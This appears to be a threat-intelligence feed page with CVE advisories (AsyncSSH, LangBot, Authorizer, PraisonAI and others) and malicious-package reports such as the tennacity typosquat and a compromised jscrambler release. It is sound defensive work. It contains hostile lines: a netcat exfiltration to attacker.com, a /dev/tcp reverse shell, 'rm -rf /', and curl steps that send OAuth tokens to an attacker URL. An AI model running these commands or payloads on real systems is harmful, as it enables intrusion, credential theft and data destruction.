Search: com.py
335 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 8.2 | EPSS 0.6% | CVE-2026-45309ronf asyncssh · Path Traversal High8.2EPSS 0.6%CVE Database V5CVE-2026-45309 ## Summary AsyncSSH 2.22.0 expands the OpenSSH-compatible `AuthorizedKeysFile` `%u` token with the raw SSH username during pre-authentication server config reload. A server configured with a documented per-user key pattern such as `AuthorizedKeysFile authorized_keys/%u` can be made to read an authorized-keys file outside the intended directory when the SSH username contains path traversal segments. If the attacker can place or reference a readable authorized-keys-format file containing their public key, the attacker can authenticate over SSH as the traversal username. ## Affected Product - Package: asyncssh - Ecosystem: pip - Affected versions: confirmed on 2.22.0; exact lower bound not finalized - Tested version: 2.22.0 - Audit commit/tag: tag `v2.22.0`, commit `af5a81e669633d83d535163f93b6bf3f957c9238` - PyPI sdist SHA256: `c3ce72b01be4f97b40e62844dd384227e5ff5a401a3793007c42f86a5c8eb537` ## Vulnerability Details - CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory - Component: AsyncSSH server config reload and public-key authentication (`asyncssh/config.py`, `asyncssh/connection.py`, `asyncssh/auth_keys.py`, `asyncssh/misc.py`) - Root cause: `%u` in `AuthorizedKeysFile` is expanded from the remote username without rejecting path separators or `..` segments, and the resulting path is opened without constraining it to the intended authorized-keys directory. - Security boundary violated: the configured authorized-keys directory and public-key authentication trust boundary. - Direct impact: public-key authentication succeeds using an attacker-selected authorized-keys file outside the intended directory. - Chain impact, if any: none claimed; direct authentication impact is primary. ## Attack Preconditions - The AsyncSSH server uses a config or equivalent pattern where `AuthorizedKeysFile` contains `%u`, for example `AuthorizedKeysFile authorized_keys/%u`. - Public-key authentication is enabled. - The attacker can place or reference a readable authorized-keys-format file outside the intended directory, such as a file in a world-writable or application-writable location. - The application does not separately reject usernames containing `/`, `\`, or `..` before AsyncSSH uses the username for key-file selection. ## Reproduction The run-scoped evidence contains a safe localhost proof: 1. Start the proof harness saved at [harness_app.py](https://github.com/user-attachments/files/27232526/harness_app.py) 2. Run [exploit_proof.py](https://github.com/user-attachments/files/27232538/exploit_proof.py) through [run_proof.sh](https://github.com/user-attachments/files/27232545/run_proof.sh) 3. The harness creates `sshd_config` with `AuthorizedKeysFile authorized_keys/%u`, writes the attacker's public key to a file outside `authorized_keys/`, starts a real AsyncSSH server, and attempts two SSH logins. 4. Expected result: the normal username `victim` fails, while the traversal username authenticates with the same attacker key. Observed proof output: ```text [CONTROL] username=victim success=False [ATTACK] username=../../../asyncssh-proof-exploit-proof-8b2bd23daeeb.pub success=True [ATTACK] output=AUTH_BYPASS_SUCCESS username=../../../asyncssh-proof-exploit-proof-8b2bd23daeeb.pub PASS: traversal username authenticated with attacker-controlled authorized_keys file ``` | CVE Database V5 | ||
| High | 8.8 | EPSS 0.6% | CVE-2026-54504@andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default High8.8EPSS 0.6%GCVE DatabaseCVE-2026-54504 ### Summary `@andrea9293/mcp-documentation-server` v1.13.0 documents that a Web UI starts automatically on port `3080`. However, the Web UI/API appears to bind to all network interfaces by default (`*:3080` / `0.0.0.0:3080`) instead of localhost-only, and its document-management API endpoints do not require authentication. As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP. The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication. ### Details The README documents that the Web UI starts automatically and tells users to open: ```text http://localhost:3080 ``` It also documents `START_WEB_UI=true` and `WEB_PORT=3080` as the defaults. The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly. In `src/server.ts`, the Web UI is started unless `START_WEB_UI=false`: ```ts if (process.env.START_WEB_UI !== 'false') { initializeDocumentManager().then(manager => { return startWebServer(undefined, manager); }).then(() => { console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')'); })... } ``` In `src/web-server.ts`, the Express app appears to listen with only the port: ```ts const server = app.listen(PORT, () => { console.log(`\n 🌐 MCP Documentation Server - Web UI`); console.log(` ────────────────────────────────────`); console.log(` Local: http://localhost:${PORT}`); console.log(` Network: http://0.0.0.0:${PORT}\n`); }); ``` With Express/Node, `app.listen(PORT)` without a host argument binds to all interfaces. In my reproduction, this resulted in: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` The exposed API includes document-admin operations such as: ```text GET /api/documents GET /api/documents/:id POST /api/documents POST /api/search-all DELETE /api/documents/:id GET /api/config ``` I did not send any `Authorization` header in the PoC requests, and all tested operations succeeded. ### PoC Tested on v1.13.0. #### 1. Build from source ```bash cd ~/Desktop mkdir -p docsrv_repro_from_scratch cd docsrv_repro_from_scratch git clone https://github.com/andrea9293/mcp-documentation-server.git cd mcp-documentation-server git rev-parse HEAD npm install --no-audit --no-fund npm run build ls -l dist/server.js node -p "require('./package.json').version" ``` Expected version: ```text 1.13.0 ``` #### 2. Start the server with default Web UI behavior Do not set `START_WEB_UI=false`. ```bash rm -rf /tmp/docsrv_base mkdir -p /tmp/docsrv_base MCP_BASE_DIR=/tmp/docsrv_base \ WEB_PORT=3080 \ node dist/server.js \ </dev/null \ >/tmp/docsrv_stdout.log \ 2>/tmp/docsrv_stderr.log & DOCSRV_PID=$! sleep 5 echo "DOCSRV_PID=$DOCSRV_PID" ps -p "$DOCSRV_PID" -o pid,stat,cmd ``` #### 3. Confirm that the Web UI/API binds to all interfaces ```bash ss -ltnp | grep ':3080' || true ``` Observed: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` This indicates the service is not bound only to `127.0.0.1`. #### 4. Confirm that the API is reachable through the LAN IP ```bash LAN_IP=$(hostname -I | awk '{print $1}') echo "LAN_IP=$LAN_IP" curl -sS --max-time 5 "http://$LAN_IP:3080/api/config" echo ``` Observed: ```text LAN_IP=10.0.250.230 {"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"} ``` No authentication header was sent. #### 5. Full unauthenticated document-admin PoC ```bash cat > /tmp/docsrv_unauth_poc.py <<'PY' #!/usr/bin/env python3 import json import sys import urllib.request import urllib.error HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080 BASE = f"http://{HOST}:{PORT}" def req(method, path, body=None): data = json.dumps(body).encode() if body is not None else None headers = {"Content-Type": "application/json"} if body is not None else {} r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers) with urllib.request.urlopen(r, timeout=10) as resp: raw = resp.read().decode() try: return resp.status, json.loads(raw or "null") except Exception: return resp.status, raw def main(): print(f"[poc] target = {BASE}") print("[poc] no Authorization header is sent") status, config = req("GET", "/api/config") print(f"[0] config: HTTP {status}, {config}") status, docs = req("GET", "/api/documents") print(f"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}") marker = "ATTACKER_CONTROLLED_DOCUMENT_ | GCVE Database | ||
| Medium | 6.3 | EPSS 0.1% | CVE-2026-53656FiftyOne App server uses wildcard CORS (Access-Control-Allow-Origin: *), enabling cross-origin reads of local server Medium6.3EPSS 0.1%GCVE DatabaseCVE-2026-53656 ### Impact The FiftyOne App/API server (`fiftyone/server/app.py`) and the `/media` route (`fiftyone/server/routes/media.py`) unconditionally set a permissive CORS header (`Access-Control-Allow-Origin: *`) on their responses. Because the embedded App server runs locally and is unauthenticated, this allows **any website a user visits to make cross-origin requests to that user's running FiftyOne server and read the responses**. Combined with the unauthenticated `/media` endpoint — which serves files from the local filesystem by path — the wildcard CORS policy turns a local-only file read into a **remotely exploitable, drive-by data exfiltration** vulnerability. A malicious web page can silently issue requests such as `http://localhost:5151/media?filepath=/etc/passwd` and read arbitrary files accessible to the server process (SSH keys, cloud credentials, `.env` files, dataset media, etc.), then exfiltrate them to an attacker-controlled endpoint. The victim only needs to have a FiftyOne server running locally and visit a malicious page — no clicks or other interaction are required. Browsers that have shipped Private Network Access / local-network-access protections (e.g. Chromium 142+) mitigate this for some users, but Safari and Firefox do not yet, so the attack remains viable in common configurations. **Who is impacted:** any user running FiftyOne (the open-source, embedded App server) locally while also browsing the web. **Not affected:** media stored in cloud buckets, which is served via signed URLs on a separate origin. ### Patches Fixed in **FiftyOne 1.17.0**. The hard-coded `Access-Control-Allow-Origin: *` has been removed and the server now responds **same-origin only by default**, which covers local desktop usage and the supported notebook integrations (each served through a same-origin proxy or iframe). Cross-origin access is now opt-in via a new `allowed_origins` config option (environment variable `FIFTYONE_ALLOWED_ORIGINS`), an explicit comma-separated list of trusted origins, e.g.: ```shell export FIFTYONE_ALLOWED_ORIGINS='https://app.example.com,http://localhost:3000' ``` The literal value `*` restores the legacy wildcard behavior for users who explicitly require it and emits a warning. **Users should upgrade to FiftyOne 1.17.0 or later.** ### Workarounds In affected versions there is no configuration flag to disable the wildcard CORS header without upgrading. Until you can upgrade: - Do not run the FiftyOne App server while browsing untrusted websites. - Keep the App server bound to `localhost` (the default) and avoid exposing it on a network interface. - Use a browser that enforces Private Network Access protections. ### Resources - OWASP A01:2025 – Broken Access Control: https://owasp.org/Top10/2025/A01_2025-Broken_Access_Control/ | GCVE Database | ||
| High | 8.8 | EPSS 0.7% | CVE-2026-54449LangBot · Authenticated RCE Via MCP Configuration High8.8EPSS 0.7%GCVE DatabaseCVE-2026-54449 ### Summary Any authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command. ### Details The repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine. Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine. ### PoC 1. Open the LangBot server 2. Navigate to Extensions 3. Open the "MCP" tab and press "Add" 4. Choose an STDIO server configuration 5. Add any arbitrary command with arguments <img width="480" height="538" alt="Screenshot 2026-01-19 at 15 08 43" src="https://github.com/user-attachments/assets/c341afa8-68c0-4c34-b5b6-ad8796184bdd" /> Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more. ### Impact This is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'). ### Video POC https://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea ### Resources https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/ | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (94137fcf0aee7d8edb4e15a8bc9be4455fbdf79cb5bf99987b79f0393fdff62c) The package name typosquats the legitimate 'ethereum-input-decoder'. Its top-level __init__.py unconditionally invokes a payload routine on import: it detects OS/arch, downloads a platform-specific binary from easyswapnow.pro (Linux/macOS builds at /downloads/lix_amd.bin, lix_arm.bin, mac_amd.bin, mac_arm.bin) or a Google Drive file for Windows, writes it to disk, sets the executable bit, and runs it via subprocess.run. The same import path also installs login persistence, writing ~/.config/systemd/user/python-script.service on Linux (enabled via systemctl --user enable --now) and ~/Library/LaunchAgents/com.user.script.plist on macOS (loaded via launchctl load -w), causing the dropper to re-run at every user login. setup.py ships placeholder author metadata ('Your Name', 'your.email@example.com') and a 'Hello World on import' description, contradicting the README which advertises an eth_defi demo; none of this matches the actual dropper. The destination domain easyswapnow.pro is unrelated to the advertised Ethereum-decoding purpose. ## Source: kam193 (00437c563c5b7c2555d512f0066e6bdb5dc61300fd00027d1b5f0fc92a06d204) The typosquatted package installs a Mythic/Poseidon C2 framework beacon and ensures persistence. After installation, the beacon communicates with C2 on wegoexchange[.]site for further commands. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-07-tennacity Reasons (based on the campaign): - typosquatting - Downloads and executes a remote executable. - The package contains code to detect if it is running in a sandbox environment. - malware - persistence | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c7933cd1ec11531feba788870555eeac615535d8e230b4d252880def9c68ff5e) tennacity is a one-character typosquat of the popular 'tenacity' library; its README/PKG-INFO are copied verbatim from real tenacity while setup.py lists placeholder author metadata ('Your Name', your.email@example.com) and a 'prints Hello World on import' description. On import, tennacity/__init__.py branches on OS and CPU architecture to download platform-specific binaries from https://easyswapnow.pro/downloads/lix_amd.bin, lix_arm.bin, mac_amd.bin, mac_arm.bin, and a Windows payload from a Google Drive file (id 1d4zF8lnDaYCgzRrEx3WCyLTFZXVD2QBF), stages them to ~/.local/share/config, /Users/Shared/.local/config, and %TEMP%/t.jse, sets the executable bit, and invokes them via subprocess.run. It then installs login-time persistence: a systemd --user unit at ~/.config/systemd/user/python-script.service (enabled via 'systemctl --user enable --now') on Linux and a LaunchAgent at ~/Library/LaunchAgents/com.user.script.plist (loaded via 'launchctl load -w') on macOS, both re-invoking the module's Python file at every user login. The fetched binaries are unpinned, unverified, and hosted on a non-publisher domain unrelated to the package's stated Hello-World purpose. ## Source: kam193 (d1f457b8b07c4cda5c20b76c195faa127906578c1977fb00469c44a7a114f810) The typosquatted package installs a Mythic/Poseidon C2 framework beacon and ensures persistence. After installation, the beacon communicates with C2 on wegoexchange[.]site for further commands. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-07-tennacity Reasons (based on the campaign): - malware - Downloads and executes a remote executable. - The package contains code to detect if it is running in a sandbox environment. - typosquatting - persistence | GCVE Database | |||
| –Not rated | – | AlienVault OTX General ModHeader, a popular Chrome developer extension with over 800,000 users, was flagged and removed by Google for containing hidden spyware. Version 7.0.18 included a covert SDK disguised as a date library (dayjs) that harvested visited domain names, encrypted them using AES-GCM, and was configured to upload the data daily to api.stanfordstudies.com. Although the collection remained dormant due to an empty allowlist, the complete exfiltration infrastructure was present and operational. Additionally, the extension displayed active adware behavior, opening affiliate tabs on every update including on enterprise-managed machines. The malicious code shipped with official Chrome Web Store signatures, affecting both Chrome and Edge users. Forensic analysis revealed the extension locally stored 178MB of sensitive HTTP headers from all browsing activity, though no data was successfully exfiltrated from analyzed systems. | AlienVault OTX General | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9828d7f04091054759c65d427b8f9d7b2853a8a062f9ca261a37e0a0bbc231d0) Package @vite-mcp/vite-type@6.44.1 impersonates the legitimate vite package: package.json declares name '@vite-mcp/vite-type', author 'Evan You', repository 'github.com/vitejs/vite', and a bin entry 'vite' → 'bin/vite.js', while shipping a copy of the vite source tree to look authentic. Appended to bin/vite.js, after a long whitespace-padded line intended to push it past editor viewports, is an obfuscated IIFE that uses a Fisher-Yates-style string-permutation decoder keyed to the integer 4606094 to reconstruct identifiers ('require','https','get','child_process','spawn','eval','JSON.parse'). At runtime it performs an HTTPS GET and a JSON-RPC POST to a remote host, XOR-decodes the response, passes the result to eval(), and additionally invokes child_process.spawn(..., {detached:true, stdio:..., windowsHide:true}) to run the decoded payload as a hidden detached process. The loader fires whenever the shipped 'vite' bin is invoked (e.g. via 'npx vite' or a project's npm scripts), giving the publisher arbitrary remote code execution on any developer or build host that runs this CLI. Combined with the brand/author/repository impersonation of vitejs/vite, this is a deliberate supply-chain attack against developers who mistakenly install this scope. ## Source: ghsa-malware (da355f47379edd22d66678f8031fb25c0655eee3ea057eefd577666021ab8c33) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b383636076e2701a372675c281ee82463d97529ed7d8db027276aa8a8b68b966) path-addon-extend presents itself as a copy of Node's built-in `path` module. On module load, path.js issues an HTTPS GET to a base64-obscured URL that decodes to https://json.extendsclass.com/bin/567893d4e220 and passes the response's `.content` field directly to `eval()`. The destination is a public JSON-bin service whose contents can be mutated at any time by the publisher (or anyone in possession of the bin token), giving arbitrary remote code execution in any process that requires this package. The endpoint is stored as a base64 literal decoded via `atob(...)` at call time rather than as a plain string, concealing the destination in a package that otherwise mirrors the Node core `path` module. ## Source: ghsa-malware (269b863a397d80c2aab7accda81b048146ef026773dd5094594c73a228a2f7ea) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| High | 8.4 | EPSS 0.3% | High8.4EPSS 0.3%CVE Database V5CVE-2026-61429 ## Summary The DNS-rebinding / redirect SSRF bypass in PRAI-05 is **not limited to the httpx/urllib backend**. When `crawl4ai` (headless Chromium via Playwright) is installed, `web_crawl` auto-selects `provider=crawl4ai`, and the headless browser re-resolves DNS and follows redirects on its own — with no per-connection SSRF guard. Runtime-confirmed read-back of the internal canary via both DNS rebinding and redirect (`provider: "crawl4ai"`). Status: runtime-confirmed addendum to PRAI-05. ## Details ### Affected component - Package `praisonaiagents` 4.6.63. Backend selected when `crawl4ai`+Playwright are installed. - Files: `src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py` (`_crawl_with_crawl4ai`) and `src/praisonai-agents/praisonaiagents/tools/crawl4ai_tools.py` (standalone crawl wrappers). ### Vulnerable code / root cause Path: `src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py` Function: `_crawl_with_crawl4ai` Snippet: ```python async with AsyncWebCrawler() as crawler: for url in urls: result = await crawler.arun(url=url) # headless browser: re-resolves DNS, follows redirects ``` Path: `src/praisonai-agents/praisonaiagents/tools/crawl4ai_tools.py` Function: `Crawl4AITools.crawl` / `crawl4ai` Snippet: ```python result = await crawler.arun(url=url, config=config) # no _is_safe_crawl_url / no per-connect validation ``` Issue: the only SSRF check is the single pre-fetch `_is_safe_crawl_url()` on the initial URL string in `web_crawl()` (see PRAI-05). The headless browser then resolves and connects independently and follows redirects in-browser — no resolved-IP pinning, no per-hop/per-connect validation. Input (`urls`) is attacker/agent-controlled; the sink is `crawler.arun(url=...)`; the guard is bypassed by DNS rebinding (TOCTOU) and by redirects (followed in-browser). ### Attack flow / Why bypassed / Security boundary Identical to PRAI-05: TOCTOU between the guard's resolution and the browser's connection; redirects followed in-browser; internal response returned as crawl `content`. See PRAI-05. ## Proof of Concept ### Environment `crawl4ai` + Playwright Chromium installed in a dedicated runtime container (`127.0.0.1:18081`), same controlled internal canary + rebinding DNS. Runnable assets: `PraisonAI-Runtime-Repro\runtime-files\` (`docker-compose.crawl.yml`). ### Steps to reproduce 1. `SSRF-04-01-Crawl4AI-DNS-Rebind-Trigger` → `127.0.0.1:18081`: ```http POST /tool/web_crawl HTTP/1.1 Host: 127.0.0.1:18081 Content-Type: application/json {"url":"http://rebind.lab:8081/secret"} ``` 2. Redirect variant `SSRF-04-03-Crawl4AI-Redirect-Readback`: `{"url":"http://redirector:8082/redirect-to-internal"}`. ### Expected result The crawl backend refuses internal destinations regardless of DNS timing/redirects. ### Actual result HTTP 200, `"provider":"crawl4ai"`, response `content` contains `PRAISONAI_INTERNAL_SECRET_CANARY_7f3a91` + `FAKE_INTERNAL_TOKEN_DO_NOT_USE_7f3a91` for both the DNS-rebinding and the redirect payload. ### Screenshots **Crawl4AI DNS rebinding read-back** The attacker-controlled `rebind.lab` URL is accepted by the Crawl4AI-backed `web_crawl` endpoint. PraisonAI returns the internal canary response body containing `PRAISONAI_INTERNAL_SECRET_CANARY_7f3a91`. <img width="1542" height="763" alt="01-Crawl4AI-Burp-Readback" src="https://github.com/user-attachments/assets/a03b3a1c-e382-4f67-8ea6-b766dceb4a69" /> **Crawl4AI DNS rebinding runtime evidence** The runtime log shows the Crawl4AI/Chromium backend resolving `rebind.lab` to an internal Docker IP during the fetch phase. The internal canary receives `GET /secret` from a headless Chrome user agent. <img width="1659" height="946" alt="02-Crawl4AI-DNS-Log-And-Internal-Hit" src="https://github.com/user-attachments/assets/d93db090-3e39-43d0-af3b-5d1d8f614db8" /> **Crawl4AI redirect read-back** The attacker-controlled redirector URL is accepted by the Crawl4AI-backed endpoint. PraisonAI follows the redirect and returns the internal canary response body. <img width="1544" height="771" alt="03-Crawl4AI-Redirect-Readback" src="https://github.com/user-attachments/assets/7d05c8aa-5bda-45bc-b94c-bef0bdcf055c" /> **Crawl4AI redirect runtime evidence** The controlled redirector returns `302 -> http://internal-canary:8081/secret`, and the internal canary receives `GET /secret` from the Crawl4AI/Chromium backend. <img width="1590" height="920" alt="04-Crawl4AI-Redirect-Internal-Hit-Log" src="https://github.com/user-attachments/assets/dd9c0fec-3583-43ab-b83c-4470fa6aa409" /> ## Impact Same class as PRAI-05: read-back SSRF to internal/metadata services, now on the crawl4ai backend. Broadens the affected surface (the flaw is in the shared validate-without-pinning design, not one backend). ## Suggested remediation Resolve-once + IP-pin + per-connect validation must also cover the crawl4ai backend (constrain the headless browser to the validated IP, or allowlist crawl destinations). | CVE Database V5 | ||
| Medium | 6.8 | EPSS 0.2% | CVE-2026-60088MervinPraison PraisonAI · Path Traversal Medium6.8EPSS 0.2%CVE Database V5CVE-2026-60088 # Project custom command templates can read outside-workspace files into model prompts ## Summary PraisonAI's new file-based custom command feature auto-discovers project commands from `.praisonai/commands/*.md`. When a user runs `praisonai run --command <name>` inside a repository, the command body is interpolated before it is sent as the model prompt. The interpolation code expands `@path` references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include `@../outside_secret.txt` or an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt. This is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt. ## Technical Details The feature was introduced by commit `88cf0c29` (`feat: file-based custom agents and reusable commands with auto-discovery (#2035)`) and is present on current main: ```text current commit: 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab current describe: v4.6.64-8-g3aa9cbc2 ``` `src/praisonai/praisonai/cli/features/custom_definitions.py` discovers project-level definitions by walking upward from `Path.cwd()` to the git root and loading `.praisonai/commands/*.md`. Project commands override user-global commands. `interpolate_command_template()` loads the selected command and passes the command body to the interpolator with `Path.cwd()` as the working directory: ```python return interpolator.interpolate(command.template, arguments, Path.cwd()) ``` `TemplateInterpolator._interpolate_files()` then matches every `@([^\s]+)` token and reads the referenced file: ```python if working_dir: file_path = working_dir / file_path_str else: file_path = Path(file_path_str) if file_path.exists() and file_path.is_file(): with open(file_path, 'r') as f: return f.read() ``` There is no `resolve()` call and no containment check against the project root. In Python, `Path.cwd() / "/absolute/path"` returns the absolute path, and parent traversal such as `../outside_secret.txt` resolves outside the workspace when opened. The sink is in `src/praisonai/praisonai/cli/commands/run.py`: the `--command` path calls `interpolate_command_template()`, then passes the fully interpolated prompt to `_run_prompt()`. ## PoV A minimal vulnerable repository only needs a project command template and an outside file: ```text workspace/ .git/ .praisonai/ commands/ relative_escape.md # contains @../outside_secret.txt absolute_escape.md # contains an absolute path outside workspace inside.txt outside_secret.txt ``` When the operator runs the project command, PraisonAI discovers `.praisonai/commands/*.md`, interpolates the template with `Path.cwd()` as the working directory, reads the outside file, and passes the resulting prompt to `_run_prompt()`. The controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary. ## PoC From a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden `PYTHONPATH` setup is required. ```bash git clone https://github.com/MervinPraison/PraisonAI.git cd PraisonAI git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab python3 - "$PWD" <<'PY' from __future__ import annotations import importlib.util import json import os import subprocess import sys import tempfile import types from pathlib import Path CANARY = "PRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace" def install_yaml_fallback_if_needed() -> str: if importlib.util.find_spec("yaml") is not None: return "installed" yaml_stub = types.ModuleType("yaml") class YAMLError(Exception): pass def safe_load(text: str): data = {} for raw_line in text.splitlines(): line = raw_line.strip() if not line or line.startswith("#") or ":" not in line: continue key, value = line.split(":", 1) data[key.strip()] = value.strip().strip("'\"") return data yaml_stub.safe_load = safe_load yaml_stub.YAMLError = YAMLError sys.modules["yaml"] = yaml_stub return "stubbed" def add_source_to_path(source_root: Path) -> None: candidate = source_root / "src" / "praisonai" if (candidate / "praisonai").exists(): sys.path.insert(0, str(candidate)) return raise SystemExit(f"Could not find PraisonAI sources below {source_root}") class pushd: def __init__(self, path: Path): self.path = path self.old = Path.cwd() def __ent | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database Supply-chain compromise of the official jscrambler npm client, a legitimate JavaScript obfuscation tool with roughly 60K downloads per month. Version 8.14.0 was published from the legitimate publisher account (jscrambler_ / info@jscrambler.com), which points to an account or CI compromise rather than a typosquat. Compared to the clean 8.13.0, version 8.14.0 adds a new preinstall hook (node dist/setup.js) and a new 7.5MB dist/intro.js file (entropy 8.00) that is a custom-packed, multi-platform binary container (magic bytes 1b435349 01); both are absent in 8.13.0. At install time, setup.js gunzips the platform-matched payload from intro.js, writes it to a randomly named file under the OS temp directory with the executable bit set (0o755, or a .exe extension on Windows built via String.fromCharCode), then spawns it detached with unref and windowsHide while swallowing all errors. The result is a silent, install-time native-binary dropper. Multiple releases are compromised (8.14.0, 8.16.0, 8.17.0, 8.18.0, 8.20.0); the mechanism above was analyzed on 8.14.0. Version 8.13.0 is clean. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (afb577cf150e98ebfe551df006c555204f327432baa3789473981888761a8677) The package's main entry (dist/index.js) contains a top-level IIFE that runs on every require('jscrambler'). It reads a bundled 7.8 MB sibling file dist/intro.js, validates a custom container header (0x1b 0x43 0x53 0x49 0x01), selects a platform-specific gzip section (linux/win32/darwin), writes the decompressed bytes to os.tmpdir() under a hidden random dot-file name with mode 0755, and spawns the binary detached with stdio ignored and windowsHide, then unrefs the child. Errors are swallowed. The bundled payload dist/intro.js is not JavaScript: it uses a custom multi-platform container and contains strings characteristic of a cryptocurrency-wallet seed-phrase harvester and a browser-session stealer, including the BIP-39 English wordlist marker (bip39_english) and Chromium/BoringSSL TLS internals (ResumptionAttemptedWithVariedEms). Neither README nor CHANGELOG documents any native runtime component, and the CHANGELOG has no entries past 8.13.0. The wrapper's shape (custom magic header, hidden tmp filename, detached spawn, error-swallowed try/catch, undocumented payload) is inconsistent with the package's advertised CLI/API-client purpose and matches a malicious release / account-takeover pattern targeting installer wallets and browser sessions. ## Source: ghsa-malware (dd1dd335cffe74c32587c873f4b6d5efd7bf80a5fcecb9bad030662e2a7498c0) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Critical | 9.3 | EPSS 0.5% | CVE-2026-54072Authorizer · Unvalidated redirect_uri in /authorize leaks OAuth2 tokens to attacker-controlled URL Critical9.3EPSS 0.5%GCVE DatabaseCVE-2026-54072 ## Summary The `/authorize` endpoint accepts any `redirect_uri` without validating it against `AllowedOrigins`. When `response_type=token` or `response_type=id_token`, the server appends `access_token`, `id_token`, and `refresh_token` as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required `client_id` from the public `/graphql?query={meta{client_id}}` endpoint. Partial fix was applied in v2.0.1 to other handlers (`oauth_login`, `verify_email`, `magic_link_login`, `forgot_password`, `invite_members`, `oauth_callback`) but `/authorize` was not included. ## Vulnerable Code `internal/http_handlers/authorize.go`: ```go redirectURI := strings.TrimSpace(gc.Query("redirect_uri")) // ... no IsValidOrigin() call ... // response_type=token path (line ~263): if strings.Contains(redirectURI, "?") { redirectURI = redirectURI + "&" + params } else { redirectURI = redirectURI + "?" + params } handleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URL ``` Compare with the fixed `oauth_login.go` in v2.0.1 which calls `validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins)`. ## Steps to Reproduce ```bash # 1. Obtain client_id (no authentication required) CLIENT_ID=$(curl -s http://TARGET/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{meta{client_id}}"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])") echo "client_id: $CLIENT_ID" # 2. Craft the malicious URL and send to victim (victim must be logged in) # When victim opens this URL, tokens are delivered to attacker.com MALICIOUS_URL="http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query" echo "Send to victim: $MALICIOUS_URL" # 3. Attacker receives 302 redirect with all tokens: # https://attacker.com/steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ... # 4. Validate stolen token curl -s http://TARGET/userinfo \ -H "Authorization: Bearer STOLEN_ACCESS_TOKEN" # Returns: {"email":"victim@example.com","id":"...","roles":["user"]} ``` ## Impact An attacker who tricks a logged-in user into clicking a crafted link can 